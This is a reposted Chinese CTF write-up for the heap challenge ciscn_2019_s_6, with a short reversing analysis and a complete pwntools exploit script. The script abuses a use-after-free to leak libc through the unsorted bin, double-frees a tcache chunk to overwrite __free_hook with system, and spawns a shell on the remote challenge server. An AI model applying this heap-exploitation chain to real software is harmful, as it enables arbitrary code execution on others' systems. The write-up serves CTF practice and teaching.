首页 > 其他 > 详细

ciscn_2019_s_6

时间:2020-11-17 23:26:47      阅读:68      评论:0      收藏:0      [点我收藏+]

安全检查

技术分享图片

 

 开了ASLR,不能够用puts泄露了

流程分析

add函数

这应该是个结构体,0x0-0x7装载着name,0x8-0xc装载着size,0xc-0x18为call,heap_number+1

技术分享图片

 

 show函数

打印,没什么特别

技术分享图片

 

 call函数

其实就是delete函数

技术分享图片

 

 漏洞分析

  • 由于有aslr,所以只能想别的方法溢出,但delete有uaf漏洞,所以构造unsorted bin来泄露libc的地址
  • 泄露完libc的地址在double free然后劫持__hook_free函数,在调用即可
from pwn import *

#p=process(‘./ciscn_s_6‘)
p=remote(node3.buuoj.cn,26462)
elf=ELF(./ciscn_s_6)
libc=ELF(./libc-2.27.so)
def add(size,name,call):
    p.recvuntil(choice:)
    p.sendline(1)
    p.recvuntil(name)
    p.sendline(str(size))
    p.recvuntil(name:)
    p.sendline(name)
    p.recvuntil(call:)
    p.sendline(call)

def show(idx):
    p.recvuntil(choice:)
    p.sendline(2)
    p.recvuntil(index:)
    p.sendline(str(idx))
    
def delete(idx):
    p.recvuntil(choice:)
    p.sendline(3)
    p.recvuntil(index:)
    p.sendline(str(idx))



add(0x88,pppp,pppp)
add(0x20,pppp,pppp)
add(0x20,pppp,pppp)
for i in range(7):
    delete(0)

delete(0)
show(0)
p.recvuntil(name)
unsorted_addr=u64(p.recvuntil(\x7f)[-6:].ljust(8,\x00))
print hex(unsorted_addr)
libc_base=unsorted_addr-0x3ebca0
free_addr=libc.symbols[__free_hook]+libc_base
system_addr = libc_base + libc.symbols[system]

print hex(free_addr)
#p.recvuntil()
delete(1)
delete(1)
delete(1)

add(0x20,p64(free_addr),pppp)
add(0x20,pppp,pppp)
add(0x20,p64(system_addr),pppp)
add(0x20,/bin/sh,pppp)

delete(6)
#gdb.attach(p)
p.interactive()

 

ciscn_2019_s_6

原文:https://www.cnblogs.com/pppyyyzzz/p/13996874.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!